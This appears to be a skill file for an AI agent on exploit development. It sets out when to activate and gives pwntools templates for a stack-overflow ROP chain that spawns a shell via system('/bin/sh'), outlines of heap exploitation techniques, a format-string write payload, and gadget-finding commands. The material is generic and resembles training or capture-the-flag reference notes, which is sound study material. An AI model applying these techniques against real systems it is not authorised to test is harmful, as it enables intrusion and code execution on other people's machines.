exploit-development

Exploit Development

When to Activate

• Confirmed vulnerability needs working PoC
• Binary exploitation (stack/heap overflow, format string, UAF)
• Web exploitation requiring custom payloads
• Bypass of security mitigations (ASLR, DEP, canaries, CFI)
• Shellcode development for specific architectures

Binary Exploitation

Stack Buffer Overflow

from pwn import *

# Template: stack overflow with ROP
elf = ELF('./vulnerable')
rop = ROP(elf)
libc = ELF('./libc.so.6')

# Find offset
offset = cyclic_find(core.fault_addr)  # or pattern_offset

# Leak libc address
rop.puts(elf.got['puts'])
rop.call(elf.symbols['main'])  # return to main for second stage

payload = flat(
    b'A' * offset,
    rop.chain()
)

# Stage 2: calculate libc base, call system("/bin/sh")
libc.address = leaked_puts - libc.symbols['puts']
rop2 = ROP(libc)
rop2.system(next(libc.search(b'/bin/sh\x00')))

payload2 = flat(
    b'A' * offset,
    rop2.chain()
)

Heap Exploitation

# tcache poisoning (glibc 2.26+)
# 1. Allocate chunks A, B
# 2. Free B, Free A (tcache: A -> B)
# 3. Allocate, overwrite A's fd pointer to target
# 4. Allocate twice — second allocation at target address

# House of Force (old glibc)
# Overwrite top chunk size to -1
# Calculate distance to target
# malloc(distance) consumes wilderness
# Next malloc returns target address

# Fastbin dup
# Free A, Free B, Free A (fastbin: A -> B -> A)
# Allocate with fd = target (must have valid size at target-0x8)

Format String Exploitation

# Read: %p %p %p ... (leak stack/libc addresses)
# Write: %n writes number of chars printed so far
# Targeted write: %{offset}$n writes to specific argument
# pwntools fmtstr_payload:
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, {target_addr: value}, write_size='short')

ROP Chain Construction

# Find gadgets
ropper --file ./binary --search "pop rdi"
ROPgadget --binary ./binary --ropchain
one_gadget ./libc.so.6  # one-shot execve gadgets

# Common ROP patterns:
# ret2libc: pop rdi; ret -> "/bin/sh" -> system
# ret2csu: __libc_csu_init gadgets for multi-arg calls
# Stack pivot: xchg rsp, rax; ret (pivot to controlled buffer)
# SROP: sigreturn to set all registers